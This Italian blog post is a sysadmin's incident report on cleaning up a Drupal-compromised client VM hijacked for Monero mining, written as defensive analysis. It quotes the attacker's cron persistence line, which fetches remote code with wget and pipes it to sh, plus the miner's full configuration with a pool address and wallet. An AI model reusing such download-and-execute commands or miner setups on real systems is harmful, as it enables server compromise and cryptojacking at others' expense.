Vulnerabilità in Drupal e VM utilizzate per il Mining

Non mi capita spesso di ritrovarmi a una conferenza e allo stesso tempo avere un’emergenza dovuta a un carico eccessivo per una VM di un cliente. Questa volta non ho portato con me la borsa col portatile per cui non avrei mai potuto agire prima del mio rientro a casa.

Alla chiamata del cliente, all’incirca verso le 18 di un tranquillo Giovedì di Aprile, pensavo si trattasse del classico sito bloccato a causa di qualche query in pò lunga. Azzardo anche a dare delle indicazioni per poter rimediare ma per fortuna non è riuscito a seguirle.

Al rientro in nottata mi trovo una splendida sorpresa; la VM stabilmente bloccata e con un carico macchina altissimo che giustificava pienamente il blocco nell’erogazione delle pagine web ma non originata da alcuna query pesante. Parto con le prime analisi e con un top mi ritrovo la maggior parte delle risorse dedicate a processi strani mai visti prima. Trovo le utenze con le quali sono stati lanciati questi processi e quindi individuo i siti compromessi che andrò a disattivare, ma prima conviene fermare Apache2.

Nella lunga lista i processi che mi ritrovo sono di questa tipologia:

  • /tmp/cTEwUjBVDMpvdDR
  • ./suppoie -c config.json -t 4

e qualche centinaia del tipo

  • /usr/sbin/http

la cosa simpatica di questi ultimi è che sono processi che hanno un tempo di vita molto breve per cui neanche il tempo di vedere il pid per killarli che già non lo trovo più attivo.

Per killare questi ultimi vado al processo padre. Killando questo e disabilitando il sito web relativo riesco a fermare i processi del tipo http. Non ho avuto modo e tempo di testare a che tipo di servizio fossero preposti ma dal nome immagino sempre di tipo HTTP.

Stessa cosa per i processi del tipo /tmp/cTEwUjBVDMpvdDR, vado di kill con i relativi pid.

Quelli che invece risultano più rognosi sono quei processi col nome “suppoie“. In questo caso c’è un maggior livello di raffinatezza in quanto dopo un semplice kill ritornano di nuovo attivi a prosciugare risorse.

Ovviamente mi metto a cercare informazioni in rete e per fortuna lo spirito di condivisione aiuta sempre. Mi trovo di fronte a un malware con l’intento di convertire la VM in una Cryptocurrency Miner, cosa che giustifica il carico alto.

Nella directory /var/tmp trovo i file usati per lanciare il processo; provo a capire che tipo di file è. È un binario del tipo ELF 64-bit LSB:

~# file suppoie
suppoie: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=adb2fb2e1f0d6c360671827dcadfeff82300758c, stripped
~#

che viene lanciato con un file di configurazione del tipo json che nel mio caso è:

~# cat config.json
{
“algo”: “cryptonight”, // cryptonight (default) or cryptonight-lite
“av”: 0, // algorithm variation, 0 auto select
“background”: true, // true to run the miner in the background
“colors”: true, // false to disable colored output
“cpu-affinity”: null, // set process affinity to CPU core(s), mask “0x3” for cores 0 and 1
“cpu-priority”: null, // set process priority (0 idle, 2 normal to 5 highest)
“donate-level”: 1, // donate level, mininum 1%
“log-file”: null, // log all output to a file, example: “c:/some/path/xmrig.log”
“max-cpu-usage”: 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
“print-time”: 60, // print hashrate report every N seconds
“retries”: 5, // number of times to retry before switch to backup server
“retry-pause”: 5, // time to pause between retries
“safe”: false, // true to safe adjust threads and av settings for current CPU
“threads”: null, // number of miner threads
“pools”: [
{
“url”: “stratum+tcp://monerohash.com:5555”, // URL of mining server
“user”: “41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo”, // username for mining server
“pass”: “x”, // password for mining server
“keepalive”: true, // send keepalived for prevent timeout (need pool support)
“nicehash”: false // enable nicehash/xmrig-proxy support
}
],
“api”: {
“port”: 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
“access-token”: null, // access token for API
“worker-id”: null // custom worker-id for API
}
}

~#

Il carico rimane sempre alto per il pesante sforzo a carico della CPU per il mining. L’immagine in allegato è abbastanza esplicita.

lavg1

lavg1

La cosa molto simpatica nonchè subdola è che questi processi ricompaiono nonostante io li killassi e il dominio compromesso fosse già stato disattivato, infatti anche lato log non vedo alcuna attività. La ricerca alla fine ha portato i suoi frutti in quanto veniva riavviato grazie a un cron:

# cat xxxxx 
# DO NOT EDIT THIS FILE – edit the master and reinstall.
# (/tmp/cron installed on Fri Apr 27 00:51:16 2018)
# (Cron version — $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * wget -q http://158.69.133.18:8220/logo4.jpg -O – | sh
#

Tramite questo cron il processo si riavviava aprendo una connessione su di un IP che cambiava di volta in volta sulla porta destinazione 5555:

# netstat -ntuap | grep –color 30580
tcp 0 0 xx.xx.xx.xx:55741 107.191.99.95:5555 ESTABLISHED 30580/suppoie
# netstat -ntuap | grep –color 30598
tcp 0 0 xx.xx.xx.xx:17539 107.191.99.227:5555 ESTABLISHED 30598/suppoie
#

Gli effetti di questo malware si sono avuti anche nel giorno successivo dal momento che l’IP del server è stato incluso anche in una lista RBL (cbl.abuseat.org) e nella lista blocklist.de che uso per aggiornare gli IP da bloccare via ipset. Ovviamente si è passati subito alle richieste di delisting.

In conclusione si è toccato con mano cosa significa non seguire i consigli e le direttive che ogni volta si dà al cliente; ovvero mantenere sempre aggiornati i vari CMS.

Spero che il cliente abbia capito la lezione che altri hanno voluto insegnargli.

Riferimenti:

https://blog.infostruction.com/2018/04/24/suppoie-crypto-hijack/

https://thehackernews.com/2018/04/drupal-vulnerability-exploit.html

https://securityboulevard.com/2018/04/hackers-start-exploiting-drupalgeddon2-vulnerability-to-install-coin-miners/

About the Author: glycerin